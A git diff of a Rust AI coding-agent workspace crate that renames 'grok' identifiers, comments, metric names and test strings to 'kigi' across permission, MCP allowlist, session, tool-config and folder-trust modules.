@@ -1992,7 +1992,7 @@ mod tests {
         let _lock = ENV_LOCK.lock().unwrap_or_else(|e| e.into_inner());
         let home = tempfile::tempdir().unwrap();
         let _home_guard = EnvVarGuard::set("KIGI_SHARE_DIR", home.path());
-        let _marker_guard = EnvVarGuard::unset("_GROK_CLAUDE_MARKER_OVERRIDE");
+        let _marker_guard = EnvVarGuard::unset("_KIGI_CLAUDE_MARKER_OVERRIDE");
         let tmp = tempfile::tempdir().unwrap();
         let claude_dir = tmp.path().join(".claude");
         std::fs::create_dir_all(&claude_dir).unwrap();
@@ -2431,11 +2431,11 @@ mod tests {
     fn mcp_name_matches_strips_managed_prefix_both_sides_exactly() {
         // Exact match after stripping the prefix — never substring.
         assert!(mcp_name_matches("foo", "foo"));
-        assert!(mcp_name_matches("foo", "grok_com_foo"));
-        assert!(mcp_name_matches("grok_com_foo", "foo"));
-        assert!(mcp_name_matches("grok_com_foo", "grok_com_foo"));
+        assert!(mcp_name_matches("foo", "kigi_com_foo"));
+        assert!(mcp_name_matches("kigi_com_foo", "foo"));
+        assert!(mcp_name_matches("kigi_com_foo", "kigi_com_foo"));
         assert!(!mcp_name_matches("foo", "foobar"));
-        assert!(!mcp_name_matches("foo", "grok_com_foobar"));
+        assert!(!mcp_name_matches("foo", "kigi_com_foobar"));
         assert!(!mcp_name_matches("foo", "barfoo"));
         assert!(!mcp_name_matches("foo", "bar"));
         assert!(!mcp_name_matches("", "foo"));
@@ -2453,14 +2453,14 @@ mod tests {
     fn mcp_name_matches_is_case_and_space_insensitive() {
         // A display-cased policy serverName matches to_managed_name's normalized
         // runtime name, for managed and local servers alike.
-        assert!(mcp_name_matches("Slack", "grok_com_slack"));
-        assert!(mcp_name_matches("My Server", "grok_com_my_server"));
-        assert!(mcp_name_matches("grok_com_my_server", "My Server"));
+        assert!(mcp_name_matches("Slack", "kigi_com_slack"));
+        assert!(mcp_name_matches("My Server", "kigi_com_my_server"));
+        assert!(mcp_name_matches("kigi_com_my_server", "My Server"));
         assert!(mcp_name_matches("My Server", "my_server"));
         assert!(mcp_name_matches("SLACK", "slack"));
         assert!(!mcp_name_matches("My Server", "my_server_2"));
         assert!(!mcp_name_matches("", ""));
-        assert!(!mcp_name_matches("grok_com_", "grok_com_anything"));
+        assert!(!mcp_name_matches("kigi_com_", "kigi_com_anything"));
     }
 
     #[test]
@@ -2503,17 +2503,17 @@ mod tests {
         assert!(al.is_server_denied(&bare));
         assert!(!al.is_server_allowed(&bare));
 
-        let managed = http_named("grok_com_foo", "https://foo.example.com/mcp");
+        let managed = http_named("kigi_com_foo", "https://foo.example.com/mcp");
         assert!(al.is_server_denied(&managed));
         assert!(!al.is_server_allowed(&managed));
 
         // Name match is transport-agnostic.
-        let stdio = stdio_named("grok_com_foo", "npx");
+        let stdio = stdio_named("kigi_com_foo", "npx");
         assert!(al.is_server_denied(&stdio));
         assert!(!al.is_server_allowed(&stdio));
 
         // Unrelated names are NOT denied — exact match after strip, never substring.
-        for unrelated in ["foobar", "grok_com_foobar", "barfoo", "bar"] {
+        for unrelated in ["foobar", "kigi_com_foobar", "barfoo", "bar"] {
             let s = http_named(unrelated, "https://x.example.com/mcp");
             assert!(
                 !al.is_server_denied(&s),
@@ -2536,8 +2536,8 @@ mod tests {
         // A name allowlist is transport-agnostic: the named server is allowed on
         // any transport regardless of URL/command, others are blocked.
         assert!(al.is_server_allowed(&http_named("foo", "https://anything.example.com/x")));
-        assert!(al.is_server_allowed(&http_named("grok_com_foo", "https://evil.example.com/x")));
-        assert!(al.is_server_allowed(&stdio_named("grok_com_foo", "/usr/bin/whatever")));
+        assert!(al.is_server_allowed(&http_named("kigi_com_foo", "https://evil.example.com/x")));
+        assert!(al.is_server_allowed(&stdio_named("kigi_com_foo", "/usr/bin/whatever")));
 
         let bar_http = http_named("bar", "https://anything.example.com/x");
         assert!(!al.is_server_allowed(&bar_http));
@@ -2555,7 +2555,7 @@ mod tests {
 
         for s in [
             http_named("foo", "https://foo.example.com/x"),
-            http_named("grok_com_foo", "https://foo.example.com/x"),
+            http_named("kigi_com_foo", "https://foo.example.com/x"),
         ] {
             assert!(al.is_server_denied(&s));
             assert!(
@@ -2569,13 +2569,13 @@ mod tests {
     fn server_name_prefix_edge_cases_vice_versa() {
         // Reverse case: prefixed policy vs bare runtime still matches after strip.
         let al = allowlist_from(serde_json::json!({
-            "deniedMcpServers": [ { "serverName": "grok_com_foo" } ]
+            "deniedMcpServers": [ { "serverName": "kigi_com_foo" } ]
         }));
 
         assert!(al.is_server_denied(&http_named("foo", "https://x.example.com/mcp")));
-        assert!(al.is_server_denied(&http_named("grok_com_foo", "https://x.example.com/mcp")));
+        assert!(al.is_server_denied(&http_named("kigi_com_foo", "https://x.example.com/mcp")));
         assert!(!al.is_server_denied(&http_named("foobar", "https://x.example.com/mcp")));
-        assert!(!al.is_server_denied(&http_named("grok_com_foobar", "https://x.example.com/mcp")));
+        assert!(!al.is_server_denied(&http_named("kigi_com_foobar", "https://x.example.com/mcp")));
     }
 
     #[test]
@@ -3748,7 +3748,7 @@ mod tests {
             skipped
                 .iter()
                 .any(|s| s.rule.contains("dontask") || s.rule.contains("defaultMode=")),
-            "typo should be recorded for grok inspect"
+            "typo should be recorded for kigi inspect"
         );
     }
 
diff --git a/crates/codegen/kigi-workspace/src/permission/state.rs b/crates/codegen/kigi-workspace/src/permission/state.rs
index ffa3879..1834425 100644
--- a/crates/codegen/kigi-workspace/src/permission/state.rs
+++ b/crates/codegen/kigi-workspace/src/permission/state.rs
@@ -16,11 +16,11 @@ pub struct PermissionState {
     /// Domains the user has approved for `web_fetch`
     /// during this session.
     pub allowed_web_fetch_domains: HashSet<String>,
-    /// Exact MCP tool names (e.g. `"grok_com_notion__notion-fetch"`)
+    /// Exact MCP tool names (e.g. `"kigi_com_notion__notion-fetch"`)
     /// the user has granted "always allow" for. Lookup is exact.
     pub allowed_mcp_tools: HashSet<String>,
     /// MCP server prefixes (everything before the first `__`,
-    /// e.g. `"grok_com_notion"`) for which the user has granted
+    /// e.g. `"kigi_com_notion"`) for which the user has granted
     /// "always allow" to every tool. Lookup is "tool name starts with
     /// `<prefix>__`".
     pub allowed_mcp_servers: HashSet<String>,
@@ -299,7 +299,7 @@ mod tests {
         let mut state = PermissionState::default();
         state
             .allowed_mcp_tools
-            .insert("grok_com_notion__notion-fetch".to_string());
+            .insert("kigi_com_notion__notion-fetch".to_string());
         state
             .allowed_mcp_tools
             .insert("linear__list_issues".to_string());
@@ -311,7 +311,7 @@ mod tests {
         assert!(
             restored
                 .allowed_mcp_tools
-                .contains("grok_com_notion__notion-fetch")
+                .contains("kigi_com_notion__notion-fetch")
         );
         assert!(restored.allowed_mcp_tools.contains("linear__list_issues"));
         assert!(restored.allowed_mcp_servers.is_empty());
@@ -322,14 +322,14 @@ mod tests {
         let mut state = PermissionState::default();
         state
             .allowed_mcp_servers
-            .insert("grok_com_slack".to_string());
+            .insert("kigi_com_slack".to_string());
         state.allowed_mcp_servers.insert("linear".to_string());
 
         let toml_str = toml::to_string_pretty(&state).unwrap();
         let restored: PermissionState = toml::from_str(&toml_str).unwrap();
 
         assert_eq!(restored.allowed_mcp_servers.len(), 2);
-        assert!(restored.allowed_mcp_servers.contains("grok_com_slack"));
+        assert!(restored.allowed_mcp_servers.contains("kigi_com_slack"));
         assert!(restored.allowed_mcp_servers.contains("linear"));
         assert!(restored.allowed_mcp_tools.is_empty());
     }
diff --git a/crates/codegen/kigi-workspace/src/permission/types.rs b/crates/codegen/kigi-workspace/src/permission/types.rs
index 637e449..b87b3bc 100644
--- a/crates/codegen/kigi-workspace/src/permission/types.rs
+++ b/crates/codegen/kigi-workspace/src/permission/types.rs
@@ -78,36 +78,36 @@ pub enum ClientType {
     #[default]
     #[serde(
         rename = "generic",
-        alias = "grok-shell",
-        alias = "grok_shell",
+        alias = "kigi-shell",
+        alias = "kigi_shell",
         alias = "kigi"
     )]
     Generic,
-    /// Grok TUI client - show fancy options with interactive bash term selection
-    #[serde(rename = "grok-tui", alias = "grok_tui")]
-    GrokTUI,
-    /// Grok Web client - identified by clientIdentifier "grok-web"
-    #[serde(rename = "grok_web")]
-    GrokWeb,
+    /// Kigi TUI client - show fancy options with interactive bash term selection
+    #[serde(rename = "kigi-tui", alias = "kigi_tui")]
+    KigiTUI,
+    /// Kigi Web client - identified by clientIdentifier "kigi-web"
+    #[serde(rename = "kigi_web")]
+    KigiWeb,
     /// Named client (`"nebula"`) — uses the generic permission UI
     #[serde(rename = "nebula")]
     Nebula,
-    /// IDE extension client (VS Code and similar) - identified by clientIdentifier "grok-code-extension"
+    /// IDE extension client (VS Code and similar) - identified by clientIdentifier "kigi-code-extension"
     #[serde(rename = "extension")]
     Extension,
-    /// Grok Pager client - TUI-like terminal pager with interactive permission UI.
-    /// Treated identically to GrokTUI for permission options (gets bash highlights +
+    /// Kigi Pager client - TUI-like terminal pager with interactive permission UI.
+    /// Treated identically to KigiTUI for permission options (gets bash highlights +
     /// interactive selection). Reports as "pager" for telemetry attribution.
     ///
-    /// Accepts both the hyphenated `"grok-pager"` (what the pager actually
+    /// Accepts both the hyphenated `"kigi-pager"` (what the pager actually
     /// sends over the wire, matching `PAGER_CLIENT_TYPE`) and the underscored
-    /// `"grok_pager"` form for symmetry with the rest of this enum.
-    #[serde(rename = "grok-pager", alias = "grok_pager")]
-    GrokPager,
-    /// Grok Desktop (Electron) client - identified by clientIdentifier "grok-desktop".
+    /// `"kigi_pager"` form for symmetry with the rest of this enum.
+    #[serde(rename = "kigi-pager", alias = "kigi_pager")]
+    KigiPager,
+    /// Kigi Desktop (Electron) client - identified by clientIdentifier "kigi-desktop".
     /// Uses TUI-style bash permission options (primary command extraction + prefix matching)
     /// but without interactive `<`/`>` word selection.
-    #[serde(rename = "grok_desktop")]
+    #[serde(rename = "kigi_desktop")]
     Desktop,
 }
 impl ClientType {
@@ -118,30 +118,30 @@ impl ClientType {
     pub fn user_agent_label(&self) -> &'static str {
         match self {
             Self::Generic => "kigi",
-            Self::GrokTUI => "grok-tui",
-            Self::GrokWeb => "grok-web",
+            Self::KigiTUI => "kigi-tui",
+            Self::KigiWeb => "kigi-web",
             Self::Nebula => "nebula",
-            Self::Extension => "grok-code-extension",
-            Self::GrokPager => "kigi",
-            Self::Desktop => "grok-desktop",
+            Self::Extension => "kigi-code-extension",
+            Self::KigiPager => "kigi",
+            Self::Desktop => "kigi-desktop",
         }
     }
-    /// Resolve from ACP `clientIdentifier` string (e.g. `"grok-web"`, `"grok-desktop"`).
+    /// Resolve from ACP `clientIdentifier` string (e.g. `"kigi-web"`, `"kigi-desktop"`).
     pub fn from_client_identifier(id: Option<&str>) -> Self {
         match id {
-            Some("grok-web") => Self::GrokWeb,
+            Some("kigi-web") => Self::KigiWeb,
             Some("nebula") => Self::Nebula,
-            Some("grok-code-extension") => Self::Extension,
-            Some("grok-desktop") => Self::Desktop,
-            Some("grok-pager") => Self::GrokPager,
+            Some("kigi-code-extension") => Self::Extension,
+            Some("kigi-desktop") => Self::Desktop,
+            Some("kigi-pager") => Self::KigiPager,
             _ => Self::Generic,
         }
     }
     /// Label for feedback reporting and experiment filtering.
     pub fn feedback_label(&self) -> &'static str {
         match self {
-            Self::GrokTUI | Self::GrokPager => "tui",
-            Self::GrokWeb => "web",
+            Self::KigiTUI | Self::KigiPager => "tui",
+            Self::KigiWeb => "web",
             Self::Nebula => "nebula",
             Self::Extension => "extension",
             Self::Generic => "agent",
@@ -498,7 +498,7 @@ mod tests {
     }
     #[test]
     fn hashline_edit_maps_to_edit_access() {
-        use kigi_tools::implementations::grok_build_hashline::edit::types::HashlineEditInput;
+        use kigi_tools::implementations::kigi_hashline::edit::types::HashlineEditInput;
         use kigi_tools::types::ToolInput;
         let input = ToolInput::HashlineEdit(HashlineEditInput {
             file_path: "src/main.rs".into(),
@@ -512,7 +512,7 @@ mod tests {
     }
     #[test]
     fn bash_maps_to_bash_access() {
-        use kigi_tools::implementations::grok_build::bash::BashToolInput;
+        use kigi_tools::implementations::kigi::bash::BashToolInput;
         use kigi_tools::types::ToolInput;
         let input = ToolInput::Bash(BashToolInput {
             command: "cargo test".into(),
@@ -543,7 +543,7 @@ mod tests {
     }
     #[test]
     fn monitor_maps_to_bash_access() {
-        use kigi_tools::implementations::grok_build::monitor::types::MonitorInput;
+        use kigi_tools::implementations::kigi::monitor::types::MonitorInput;
         use kigi_tools::types::ToolInput;
         let input = ToolInput::Monitor(MonitorInput {
             command: "tail -f /var/log/syslog".into(),
@@ -560,7 +560,7 @@ mod tests {
     }
     #[test]
     fn search_replace_maps_to_edit_access() {
-        use kigi_tools::implementations::grok_build::search_replace::SearchReplaceInput;
+        use kigi_tools::implementations::kigi::search_replace::SearchReplaceInput;
         use kigi_tools::types::ToolInput;
         let input = ToolInput::SearchReplace(SearchReplaceInput {
             file_path: "lib.rs".into(),
@@ -576,7 +576,7 @@ mod tests {
     }
     #[test]
     fn web_fetch_maps_to_web_fetch_access() {
-        use kigi_tools::implementations::grok_build::web_fetch::WebFetchInput;
+        use kigi_tools::implementations::kigi::web_fetch::WebFetchInput;
         use kigi_tools::types::ToolInput;
         let input = ToolInput::WebFetch(WebFetchInput {
             url: "https://custom.example.com/api".into(),
@@ -590,7 +590,7 @@ mod tests {
     }
     #[test]
     fn web_search_maps_to_web_search_access() {
-        use kigi_tools::implementations::grok_build::web_search::WebSearchInput;
+        use kigi_tools::implementations::kigi::web_search::WebSearchInput;
         use kigi_tools::types::ToolInput;
         let input = ToolInput::WebSearch(WebSearchInput {
             query: "rust lang".into(),
@@ -631,13 +631,13 @@ mod tests {
         );
     }
     #[test]
-    fn client_type_deserializes_grok_shell_as_generic() {
+    fn client_type_deserializes_kigi_shell_as_generic() {
         assert_eq!(
-            serde_json::from_value::<ClientType>("grok-shell".into()).unwrap(),
+            serde_json::from_value::<ClientType>("kigi-shell".into()).unwrap(),
             ClientType::Generic,
         );
         assert_eq!(
-            serde_json::from_value::<ClientType>("grok_shell".into()).unwrap(),
+            serde_json::from_value::<ClientType>("kigi_shell".into()).unwrap(),
             ClientType::Generic,
         );
         assert_eq!(
diff --git a/crates/codegen/kigi-workspace/src/project_config.rs b/crates/codegen/kigi-workspace/src/project_config.rs
index e8c4f63..fbbc360 100644
--- a/crates/codegen/kigi-workspace/src/project_config.rs
+++ b/crates/codegen/kigi-workspace/src/project_config.rs
@@ -42,7 +42,7 @@ pub(crate) fn find_mcp_json_files_in(chain_dirs: &[PathBuf]) -> Vec<PathBuf> {
 }
 
 /// True when `config_path` is `$KIGI_SHARE_DIR/config.toml` (user tier, not project).
-fn is_user_grok_config_file(config_path: &Path) -> bool {
+fn is_user_kigi_config_file(config_path: &Path) -> bool {
     let Some(user_home) = kigi_config::user_kigi_home() else {
         return false;
     };
@@ -79,7 +79,7 @@ pub(crate) fn find_project_configs_in(chain_dirs: &[PathBuf]) -> Vec<PathBuf> {
         .iter()
         .rev()
         .map(|dir| dir.join(".kigi").join("config.toml"))
-        .filter(|config_path| config_path.is_file() && !is_user_grok_config_file(config_path))
+        .filter(|config_path| config_path.is_file() && !is_user_kigi_config_file(config_path))
         .collect()
 }
 
@@ -88,7 +88,7 @@ mod tests {
     use super::*;
 
     #[test]
-    fn find_project_configs_excludes_user_grok_config_file() {
+    fn find_project_configs_excludes_user_kigi_config_file() {
         let Some(user_home) = kigi_config::user_kigi_home() else {
             return;
         };
@@ -98,10 +98,10 @@ mod tests {
             let home = std::env::home_dir().expect("home dir");
             let from_home = find_project_configs(&home);
             assert!(
-                !from_home.iter().any(|p| is_user_grok_config_file(p)),
+                !from_home.iter().any(|p| is_user_kigi_config_file(p)),
                 "user config leaked into project configs: {from_home:?}"
             );
-            assert!(is_user_grok_config_file(&user_config));
+            assert!(is_user_kigi_config_file(&user_config));
         }
 
         let tmp = tempfile::tempdir().unwrap();
@@ -110,6 +110,6 @@ mod tests {
         std::fs::write(project.join(".kigi/config.toml"), "# project\n").unwrap();
         let found = find_project_configs(&project);
         assert_eq!(found.len(), 1);
-        assert!(!is_user_grok_config_file(&found[0]));
+        assert!(!is_user_kigi_config_file(&found[0]));
     }
 }
diff --git a/crates/codegen/kigi-workspace/src/session/git.rs b/crates/codegen/kigi-workspace/src/session/git.rs
index ba0d310..cb4157e 100644
--- a/crates/codegen/kigi-workspace/src/session/git.rs
+++ b/crates/codegen/kigi-workspace/src/session/git.rs
@@ -778,7 +778,7 @@ fn collect_diff_stats(
     }
     DiffStatsResult { stats, paths }
 }
-/// Payload for the `x.ai/git_head_changed` ACP extension notification.
+/// Payload for the `kigi/git_head_changed` ACP extension notification.
 #[derive(Debug, Clone, Serialize, Deserialize)]
 #[serde(rename_all = "camelCase")]
 pub struct GitHeadChanged {
@@ -1790,7 +1790,7 @@ pub async fn stash_before_destructive_op(
         return StashOutcome::Skipped(reason);
     }
     let message = format!(
-        "grok: pre-{label} {} {}",
+        "kigi: pre-{label} {} {}",
         session_id,
         chrono::Utc::now().format("%Y-%m-%dT%H:%M:%SZ")
     );
@@ -1908,7 +1908,7 @@ pub async fn checkout_session_commit(
 /// The restore-code path runs `git fetch origin` + `git checkout <sha>`,
 /// which *detaches HEAD*. That is only acceptable in two situations:
 ///
-/// 1. `supplied_cwd` is a grok-managed worktree (`~/.kigi/worktrees/...`).
+/// 1. `supplied_cwd` is a kigi-managed worktree (`~/.kigi/worktrees/...`).
 ///    These are disposable snapshots that exist precisely to carry a
 ///    detached session HEAD.
 /// 2. `supplied_cwd` is exactly the cwd the session was persisted with
@@ -3522,7 +3522,7 @@ mod restore_code_tests {
         assert!(porcelain.trim().is_empty(), "got: {porcelain:?}");
         let list = git_cli(tmp.path(), &["stash", "list"]).await.unwrap();
         assert!(
-            list.contains("grok: pre-test sess-2"),
+            list.contains("kigi: pre-test sess-2"),
             "stash list missing session id: {list}"
         );
     }
diff --git a/crates/codegen/kigi-workspace/src/session/mod.rs b/crates/codegen/kigi-workspace/src/session/mod.rs
index 5626977..a354293 100644
--- a/crates/codegen/kigi-workspace/src/session/mod.rs
+++ b/crates/codegen/kigi-workspace/src/session/mod.rs
@@ -448,7 +448,7 @@ pub struct WorkspaceShared {
     /// `discovery` module.
     pub(crate) plugin_discovery_config: crate::discovery::PluginDiscoveryConfig,
     /// Sink for workspace-originated ext-notifications to the client (e.g.
-    /// `x.ai/search/fuzzy/status`). Mode-agnostic: the shell wires it to the
+    /// `kigi/search/fuzzy/status`). Mode-agnostic: the shell wires it to the
     /// agent gateway in local mode, and to the server in proxy mode. `None` until
     /// set via [`WorkspaceHandle::set_client_ext_sink`](crate::handle::WorkspaceHandle::set_client_ext_sink).
     pub(crate) client_ext_sink: arc_swap::ArcSwap<Option<ClientExtSink>>,
diff --git a/crates/codegen/kigi-workspace/src/session/swap_policy.rs b/crates/codegen/kigi-workspace/src/session/swap_policy.rs
index f3db2c4..7d829cf 100644
--- a/crates/codegen/kigi-workspace/src/session/swap_policy.rs
+++ b/crates/codegen/kigi-workspace/src/session/swap_policy.rs
@@ -13,7 +13,7 @@ use crate::session::WorkspaceSession;
 pub(crate) static WORKSPACE_TOOLSET_SWAP_TOTAL: std::sync::LazyLock<IntCounterVec> =
     std::sync::LazyLock::new(|| {
         register_int_counter_vec!(
-            "grok_workspace_toolset_swap_total",
+            "kigi_workspace_toolset_swap_total",
             "Session toolset installs and swaps, by trigger and guard state",
             &["trigger", "turn_active", "in_flight"]
         )
@@ -26,7 +26,7 @@ pub(crate) static WORKSPACE_TOOLSET_SWAP_TOTAL: std::sync::LazyLock<IntCounterVe
 pub(crate) static WORKSPACE_TOOLSET_SWAP_REJECTED_TOTAL: std::sync::LazyLock<IntCounterVec> =
     std::sync::LazyLock::new(|| {
         register_int_counter_vec!(
-            "grok_workspace_toolset_swap_rejected_total",
+            "kigi_workspace_toolset_swap_rejected_total",
             "Session toolset swaps rejected by the turn-safety guards, by reason and trigger",
             &["reason", "trigger"]
         )
@@ -39,7 +39,7 @@ pub(crate) static WORKSPACE_TOOLSET_SWAP_REJECTED_TOTAL: std::sync::LazyLock<Int
 static WORKSPACE_BIND_REBIND_RERESOLVE_TOTAL: std::sync::LazyLock<IntCounterVec> =
     std::sync::LazyLock::new(|| {
         register_int_counter_vec!(
-            "grok_workspace_bind_rebind_reresolve_total",
+            "kigi_workspace_bind_rebind_reresolve_total",
             "session.bind rebinds that re-resolved a changed explicit toolset, by result",
             &["result"]
         )
diff --git a/crates/codegen/kigi-workspace/src/session/tool_config.rs b/crates/codegen/kigi-workspace/src/session/tool_config.rs
index face94a..d69674e 100644
--- a/crates/codegen/kigi-workspace/src/session/tool_config.rs
+++ b/crates/codegen/kigi-workspace/src/session/tool_config.rs
@@ -295,7 +295,7 @@ impl SessionContextFactory for WorkspaceSessionContextFactory {
             web_fetch_config: build_web_fetch_config(),
             lsp: None,
             app_builder_deployer_config:
-                kigi_tools::implementations::grok_build::deploy_app::AppBuilderDeployerConfig::default(),
+                kigi_tools::implementations::kigi::deploy_app::AppBuilderDeployerConfig::default(),
             api_key_provider: None,
             attribution_callback: None,
             system_reminder_tag: kigi_tools::reminders::DEFAULT_REMINDER_TAG,
@@ -317,8 +317,8 @@ impl SessionContextFactory for WorkspaceSessionContextFactory {
 }
 /// Build web fetch config. Enabled with default params unless
 /// `KIGI_DISABLE_WEB_FETCH=1` is set.
-fn build_web_fetch_config() -> kigi_tools::implementations::grok_build::web_fetch::WebFetchConfig {
-    use kigi_tools::implementations::grok_build::web_fetch::{WebFetchConfig, WebFetchParams};
+fn build_web_fetch_config() -> kigi_tools::implementations::kigi::web_fetch::WebFetchConfig {
+    use kigi_tools::implementations::kigi::web_fetch::{WebFetchConfig, WebFetchParams};
     if std::env::var("KIGI_DISABLE_WEB_FETCH").is_ok_and(|v| v == "1" || v == "true") {
         return WebFetchConfig::Disabled;
     }
@@ -414,10 +414,10 @@ pub mod test_support {
     pub fn baseline_config() -> ToolServerConfig {
         ToolServerConfig {
             tools: vec![
-                tc("GrokBuild:read_file", Some(ToolKind::Read)),
-                tc("GrokBuild:search_replace", Some(ToolKind::Edit)),
-                tc("GrokBuild:grep", Some(ToolKind::Search)),
-                tc("GrokBuild:list_dir", Some(ToolKind::ListDir)),
+                tc("Kigi:read_file", Some(ToolKind::Read)),
+                tc("Kigi:search_replace", Some(ToolKind::Edit)),
+                tc("Kigi:grep", Some(ToolKind::Search)),
+                tc("Kigi:list_dir", Some(ToolKind::ListDir)),
             ],
             behavior_preset: None,
         }
@@ -470,13 +470,10 @@ mod tests {
     async fn resolve_session_toolset_mcp_merge_dedup_by_id_baseline_wins() {
         let factory = factory_for_test();
         let baseline = ToolServerConfig {
-            tools: vec![test_support::tc(
-                "GrokBuild:read_file",
-                Some(ToolKind::Read),
-            )],
+            tools: vec![test_support::tc("Kigi:read_file", Some(ToolKind::Read))],
             behavior_preset: None,
         };
-        let mut mcp_dup = test_support::tc("GrokBuild:read_file", Some(ToolKind::Read));
+        let mut mcp_dup = test_support::tc("Kigi:read_file", Some(ToolKind::Read));
         mcp_dup.name_override = Some("mcp_read".into());
         let snapshot = vec![mcp_dup];
         let (_eff, ts, _backend) = resolve_session_toolset(
@@ -507,14 +504,14 @@ mod tests {
     #[test]
     fn backfill_tool_kinds_fills_known_kindless_ids_only() {
         let kinds = HashMap::from([
-            ("GrokBuild:search_replace".to_owned(), ToolKind::Edit),
-            ("GrokBuild:read_file".to_owned(), ToolKind::Read),
+            ("Kigi:search_replace".to_owned(), ToolKind::Edit),
+            ("Kigi:read_file".to_owned(), ToolKind::Read),
         ]);
         let config = ToolServerConfig {
             tools: vec![
-                test_support::tc("GrokBuild:search_replace", None),
+                test_support::tc("Kigi:search_replace", None),
                 test_support::tc("adhoc.opaque", None),
-                test_support::tc("GrokBuild:read_file", Some(ToolKind::Search)),
+                test_support::tc("Kigi:read_file", Some(ToolKind::Search)),
             ],
             behavior_preset: Some("current".to_owned()),
         };
@@ -527,14 +524,14 @@ mod tests {
                 .expect("tool present")
                 .kind
         };
-        assert_eq!(kind_of("GrokBuild:search_replace"), Some(ToolKind::Edit));
+        assert_eq!(kind_of("Kigi:search_replace"), Some(ToolKind::Edit));
         assert_eq!(
             kind_of("adhoc.opaque"),
             None,
             "ids unknown to the registry stay kind-less"
         );
         assert_eq!(
-            kind_of("GrokBuild:read_file"),
+            kind_of("Kigi:read_file"),
             Some(ToolKind::Search),
             "an explicit kind wins over the registry's"
         );
@@ -550,11 +547,11 @@ mod tests {
         let factory = factory_for_test();
         let baseline = ToolServerConfig {
             tools: vec![
-                test_support::tc("GrokBuild:read_file", None),
-                test_support::tc("GrokBuild:grep", None),
-                test_support::tc("GrokBuild:list_dir", None),
-                test_support::tc("GrokBuild:search_replace", None),
-                test_support::tc("GrokBuild:run_terminal_cmd", None),
+                test_support::tc("Kigi:read_file", None),
+                test_support::tc("Kigi:grep", None),
+                test_support::tc("Kigi:list_dir", None),
+                test_support::tc("Kigi:search_replace", None),
+                test_support::tc("Kigi:run_terminal_cmd", None),
             ],
             behavior_preset: None,
         };
@@ -594,10 +591,7 @@ mod tests {
     #[test]
     fn resolve_session_toolset_mcp_edit_dropped_under_readonly() {
         let baseline = ToolServerConfig {
-            tools: vec![test_support::tc(
-                "GrokBuild:read_file",
-                Some(ToolKind::Read),
-            )],
+            tools: vec![test_support::tc("Kigi:read_file", Some(ToolKind::Read))],
             behavior_preset: None,
         };
         let mcp_edit = test_support::tc("mcp.editor", Some(ToolKind::Edit));
@@ -609,7 +603,7 @@ mod tests {
         let factory = factory_for_test();
         let baseline = ToolServerConfig {
             tools: vec![
-                test_support::tc("GrokBuild:read_file", Some(ToolKind::Read)),
+                test_support::tc("Kigi:read_file", Some(ToolKind::Read)),
                 test_support::tc("baseline.opaque", None),
             ],
             behavior_preset: None,
@@ -626,7 +620,7 @@ mod tests {
             "MCP kind: None MUST be dropped under ReadOnly: {kept_ids:?}"
         );
         assert!(
-            kept_ids.contains(&"GrokBuild:read_file"),
+            kept_ids.contains(&"Kigi:read_file"),
             "baseline Read kind must survive ReadOnly: {kept_ids:?}"
         );
         let _ = factory;
diff --git a/crates/codegen/kigi-workspace/src/trust.rs b/crates/codegen/kigi-workspace/src/trust.rs
index 82faea7..45fdb85 100644
--- a/crates/codegen/kigi-workspace/src/trust.rs
+++ b/crates/codegen/kigi-workspace/src/trust.rs
@@ -112,7 +112,7 @@ impl TrustStore {
         Self::default_path_in(kigi_config::user_kigi_home())
     }
 
-    /// Map a resolved user-grok-home to the store path, preserving "no home" as
+    /// Map a resolved user-kigi-home to the store path, preserving "no home" as
     /// "no path" (never synthesizing a fallback). Split from [`Self::default_path`]
     /// as a pure seam so the no-home branch is unit-testable without the
     /// process-global home cache.
@@ -252,7 +252,7 @@ impl TrustStore {
             tracing::warn!(
                 path = %canonical.display(),
                 trusted,
-                "folder trust: no user grok home resolved; trust decision not recorded"
+                "folder trust: no user kigi home resolved; trust decision not recorded"
             );
             return Ok(());
         };
@@ -351,15 +351,15 @@ impl TrustStore {
 /// The key is the canonicalized git repository root when `cwd` is inside a
 /// repo (trust applies to the whole repo), otherwise the canonicalized `cwd`.
 ///
-/// A grok-managed worktree first collapses onto its recorded source repo's git
-/// ROOT (via the `~/.kigi/worktrees.db` registry), so every `grok -w` worktree
+/// A kigi-managed worktree first collapses onto its recorded source repo's git
+/// ROOT (via the `~/.kigi/worktrees.db` registry), so every `kigi -w` worktree
 /// shares one trust key regardless of creation mode — including standalone clones
 /// that git can't link back to their source — and regardless of the subdir
-/// `grok -w` was launched from (the recorded source repo may be a repo subdir).
+/// `kigi -w` was launched from (the recorded source repo may be a repo subdir).
 /// Non-registry git worktrees fall through to the git-topology collapse below.
 ///
 /// A linked git worktree collapses onto its MAIN checkout's root so every
-/// `grok -w` worktree of a repo shares one trust key. The collapse fires ONLY
+/// `kigi -w` worktree of a repo shares one trust key. The collapse fires ONLY
 /// for the conventional `<workdir>/.git` layout — i.e. the common gitdir
 /// resolves back to `<main_workdir>/.git`. For bare or `--separate-git-dir`
 /// repos (where the common gitdir's inferred workdir would be the gitdir's
@@ -383,11 +383,11 @@ pub fn workspace_key(cwd: &Path) -> PathBuf {
 /// Git-topology-derived workspace key (pre-safety-guard); see [`workspace_key`],
 /// which rejects an over-broad derived root in favor of the cwd.
 fn git_derived_workspace_key(cwd: &Path) -> PathBuf {
-    // A grok-managed worktree (any creation mode, incl. standalone clones git
+    // A kigi-managed worktree (any creation mode, incl. standalone clones git
     // can't link) collapses onto its recorded source repo so trust is shared.
     if let Some(source_repo) = crate::worktree::source_repo_for_cwd(&cwd.to_string_lossy()) {
         // Key on the source repo's git ROOT so every worktree of one repo shares
-        // ONE key regardless of the subdir grok -w was launched from (parity with
+        // ONE key regardless of the subdir kigi -w was launched from (parity with
         // the git-topology branch below). Fall back to the recorded path when the
         // source repo is gone (deleted-source standalone worktrees still work).
         let root = git2::Repository::discover(&source_repo)
@@ -490,7 +490,7 @@ impl Drop for ExclusiveLock {
 /// path per line; each becomes a folder-trust grant so the unified gate honors
 /// prior decisions. The legacy file is then renamed to `*.migrated` so it is
 /// read only once. A no-op when the legacy file is absent/already migrated or no
-/// user grok home resolves.
+/// user kigi home resolves.
 pub fn migrate_legacy_hook_trust() {
     // Local/dev builds do NO trust-store I/O: skip the load + legacy-file rename.
     if crate::folder_trust::folder_trust_inert() {
@@ -513,7 +513,7 @@ pub fn migrate_legacy_hook_trust() {
 }
 
 /// Seam for [`migrate_legacy_hook_trust`] with explicit paths, so the migration
-/// is testable without the process-global grok-home cache. Returns the number
+/// is testable without the process-global kigi-home cache. Returns the number
 /// of grants seeded into `store`.
 fn migrate_legacy_hook_trust_in(legacy_file: &Path, store: &mut TrustStore) -> usize {
